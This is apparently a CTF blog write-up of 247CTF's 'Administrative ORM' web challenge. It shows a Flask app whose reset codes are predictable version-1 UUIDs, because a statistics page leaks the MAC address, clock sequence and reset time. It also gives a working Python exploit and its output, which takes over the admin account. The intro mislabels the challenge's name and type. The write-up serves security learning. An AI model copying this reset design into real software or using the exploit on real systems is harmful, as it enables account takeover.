CREATIVE CHAOS   ▋ blog

Administrative ORM (web)

PUBLISHED ON 20/04/2020 — EDITED ON 11/12/2023 — 247CTF, INFOSEC

Intro

This is my write-up of a Reversing challenge The Encrypted Flag on the CTF site 247CTF.com.

Instructions

We started building a custom ORM for user management. Can you find any bugs before we push to production?

Code

The provided code:

import pymysql.cursors
import pymysql, os, bcrypt, debug
from flask import Flask, request
from secret import flag, secret_key, sql_user, sql_password, sql_database, sql_host

class ORM():
    def __init__(self):
        self.connection = pymysql.connect(host=sql_host, user=sql_user, password=sql_password, db=sql_database, cursorclass=pymysql.cursors.DictCursor)

    def update(self, sql, parameters):
        with self.connection.cursor() as cursor:
          cursor.execute(sql, parameters)
          self.connection.commit()

    def query(self, sql, parameters):
        with self.connection.cursor() as cursor:
          cursor.execute(sql, parameters)
          result = cursor.fetchone()
        return result

    def get_by_name(self, user):
        return self.query('select * from users where username=%s', user)

    def get_by_reset_code(self, reset_code):
        return self.query('select * from users where reset_code=%s', reset_code)

    def set_password(self, user, password):
        password_hash = bcrypt.hashpw(password, bcrypt.gensalt())
        self.update('update users set password=%s where username=%s', (password_hash, user))

    def set_reset_code(self, user):
        self.update('update users set reset_code=uuid() where username=%s', user)

app = Flask(__name__)
app.config['DEBUG'] = False
app.config['SECRET_KEY'] = secret_key
app.config['USER'] = 'admin'

@app.route("/get_flag")
def get_flag():
    user_row = app.config['ORM'].get_by_name(app.config['USER'])
    if bcrypt.checkpw(request.args.get('password').encode('utf8'), user_row['password'].encode('utf8')):
        return flag
    return "Invalid password for %s!" % app.config['USER']

@app.route("/reset") # TODO: email reset code
def reset():
    app.config['ORM'].set_reset_code(app.config['USER'])
    return "Password reset code updated for %s!" % app.config['USER']

@app.route("/update_password")
def update_password():
    user_row = app.config['ORM'].get_by_reset_code(request.args.get('reset_code'))
    if user_row:
        app.config['ORM'].set_password(app.config['USER'], request.args.get('password').encode('utf8'))
        return "Password reset for %s!" % app.config['USER']
    return "Invalid reset code for %s!" % app.config['USER']

@app.route("/statistics") # TODO: remove statistics
def statistics():
    return debug.statistics()

@app.route('/')
def source():
    return "
%s
" % open(__file__).read()

@app.before_first_request
def before_first():
    app.config['ORM'] = ORM()
    app.config['ORM'].set_password(app.config['USER'], os.urandom(32).hex())

@app.errorhandler(Exception)
def error(error):
    return "Something went wrong!"

if __name__ == "__main__":
    app.run()

Intelligence

  1. We are presented with a Flask app webiste.
  2. We have get_flag() function and we need a correct password.
  3. We can check statistics
  4. We can reset the user reset code.
  5. If we know the reset code, we can set up a new password and then use it to obtain the flag.
  6. Reset code is set to uuid() which is predictable with the statistics the website offers.

Howto

  1. Reset the reset code (set the new UUID).
  2. Use the statistics page to guess the UUID.
  3. Set custom password.
  4. Use that password to obtain the flag.

I have used the Python UUID implementation found here and customized it.

UUID version 1 is generated from timestamp, clock sequence and node information (servers MAC address).

Leaky statistics

Interface statistics:
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:15
          inet addr:172.17.0.21  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:43 errors:0 dropped:0 overruns:0 frame:0
          TX packets:29 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:5499 (5.3 KiB)  TX bytes:3766 (3.6 KiB)

Database statistics:
	clock_sequence: 3032
	delete_latency: 0
	fetch_latency: 152144706
	insert_latency: 0
	last_reset: 2020-04-21 04:34:59.654666800
	rows_deleted: 0
	rows_fetched: 16
	rows_inserted: 0
	rows_updated: 4
	total_latency: 405564180
	update_latency: 253419474

Exploit

#!/usr/bin/env python3

import uuid
import requests
import pandas as pd
import numpy as np

# Set URL to challenge
URL="https://9e7db70aa03e3d5a.247ctf.com"

# Arbitrary password
password = "1234"


def str_to_ns(time_str):
     h, m, s = time_str.split(":")
     int_s, ns = s.split(".")
     ns = map(lambda t, unit: np.timedelta64(t, unit),
              [h,m,int_s,ns.ljust(9, '0')],['h','m','s','ns'])
     return sum(ns)


# return MAC address as int
def parse_mac(mac):
    return int(mac.replace(':', ''), 16)


# Modified uuid1() from python uuid library
def uuid1(node, clock_seq, ts):

    timestamp = ts // 100 + 0x01b21dd213814000
    time_low = timestamp & 0xffffffff
    time_mid = (timestamp >> 32) & 0xffff
    time_hi_version = (timestamp >> 48) & 0x0fff
    clock_seq_low = clock_seq & 0xff
    clock_seq_hi_variant = (clock_seq >> 8) & 0x3f
    return uuid.UUID(fields=(time_low, time_mid, time_hi_version,
                        clock_seq_hi_variant, clock_seq_low, node), version=1)


def generate_uuid():
    r = requests.get(URL+'/statistics')
    out = r.text.split()
    mac = out[6]
    ldate = out[50]
    ltime = out[51]
    clock_sequence = out[42]

    print ()
    print ("MAC              : "+mac)
    print ("Clock sequence   : "+str(clock_sequence))
    print ("Last reset       : "+ldate,ltime)

    # Pandas Timestamp.timestamp() function does not return nanoseconds.
    # https://github.com/pandas-dev/pandas/issues/29461
    # So we split this part.
    nseconds = pd.to_datetime(ldate, format='%Y-%m-%d').timestamp() * 1000 * 1000 * 1000
    # Add the missing nanoseconds to have exact result
    time_in_ns = str_to_ns(ltime)+int(nseconds)


    UUID = uuid1(parse_mac(mac), int(clock_sequence), int(time_in_ns))

    print('UUID.time        :', UUID.time)
    print('UUID.clock_seq   :', UUID.clock_seq)
    print('UUID.node        :', UUID.node)
    print("UUID generated is:", UUID)

    return str(UUID)


print ("Exploiting Web / Administrative ORM @ 247ctf.com")


r = requests.get(URL+'/reset')
print ()
print ("-> requests.get("+URL+"/reset)")
print (r.text)

guessed_uuid = generate_uuid()

r = requests.get(URL+'/update_password?reset_code='+guessed_uuid+'&password='+password)
print ()
print ("-> requests.get("+URL+"/update_password?reset_code="+guessed_uuid+"&password="+password+")")
print (r.text)


r = requests.get(URL+'/get_flag?password='+password)
print ()
print ("-> requests.get("+URL+"/get_flag?password="+password+")")
print (r.text)

Solving the challenge:

Exploiting Web / Administrative ORM @ 247ctf.com

-> requests.get(https://4f67c125208c7b00.247ctf.com/reset)
Password reset code updated for admin!

MAC              : 02:42:AC:11:00:15
Clock sequence   : 3032
Last reset       : 2020-04-21 04:34:59.654666800
UUID.time        : 138067364996546668
UUID.clock_seq   : 3032
UUID.node        : 2485377892373
UUID generated is: 75b1806c-8389-11ea-8bd8-0242ac110015

-> requests.get(https://4f67c125208c7b00.247ctf.com/update_password?reset_code=75b1806c-8389-11ea-8bd8-0242ac110015&password=1234)
Password reset for admin!

-> requests.get(https://4f67c125208c7b00.247ctf.com/get_flag?password=1234)
247CTF{xxxx}

See Also

TAGS: CTF, MYSQL, ORM, UUID